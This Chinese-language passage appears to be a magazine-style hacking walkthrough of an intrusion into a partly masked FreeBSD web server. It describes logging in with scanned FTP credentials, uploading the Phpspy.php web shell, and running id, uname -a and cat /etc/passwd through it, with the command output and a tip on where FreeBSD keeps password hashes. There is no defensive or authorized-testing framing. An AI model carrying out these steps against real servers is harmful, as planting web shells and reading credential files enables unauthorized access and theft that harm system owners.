运气真不错，扫出一个FTP用户名和密码来，服务器还开了22（SSH），3306（MySQL）两个重要端口。FTP登录，然后找一个可以上传的WEB目录上传Phpspy.php，如图3所示。
在浏览器里输入***.***.91/e***u/lib/phpspy.php，进入Phpspy.php的 “WebShell模式”键入命令：id //查看当前用户：
uid=65534(nobody) gid=65533(nogroup) groups=65533(nogroup)
键入命令：uname –a //查看系统：
FreeBSD ******u.com 4.3-STABLE FreeBSD 4.3-STABLE #0: Fri May 25 11:10:00 CST 2001 Root@******u.com:/home/usr/src/sys/compile/GENERIC i386
键入命令：cat /etc/passwd //读取密码档
# $FreeBSD: src/etc/master.passwd，v 1.25 1999/09/13 17:09:07 peter Exp $
#
Root:*:0:0:Charlie &:/Root:/bin/csh
games:*:7:13:Games pseudo-user:/usr/games:/sbin/nologin
news:*:8:8:News Subsystem:/:/sbin/nologin
nobody:*:65534:65534:Unprivileged user:/nonexistent:/sbin/nologin
mysql:*:88:88:MySQL Daemon:/home/db/mysql:/sbin/nologin
www:*:2000:2000:WWW Administrator:/home/www/main:/bin/tcsh
chat:*:2001:2000:Chat Administrator:/home/www/chat:/bin/tcsh
game:*:2002:2000:Game Administrator:/home/www/game:/bin/tcsh
elife:*:2003:2000:eLife Administrator:/home/www/elife:/bin/tcsh
game-tnid:*:1005:0:game-tnid:/home/game-tnid:/bin/tcsh
cyc:*:1010:0:cyc:/home/cyc:/bin/tcsh
webadm:*:1012:1012:webadm:/home/webadm:/bin/tcsh
funker:*:1014:1014:funker:/home/funker:/bin/tcsh
小提示：FreeBSD的密码加密后存放在/etc/master.passwd文件下，而不像Unix 一样存放在/etc/shadow文件下，而且此文件只有Root用户可以读。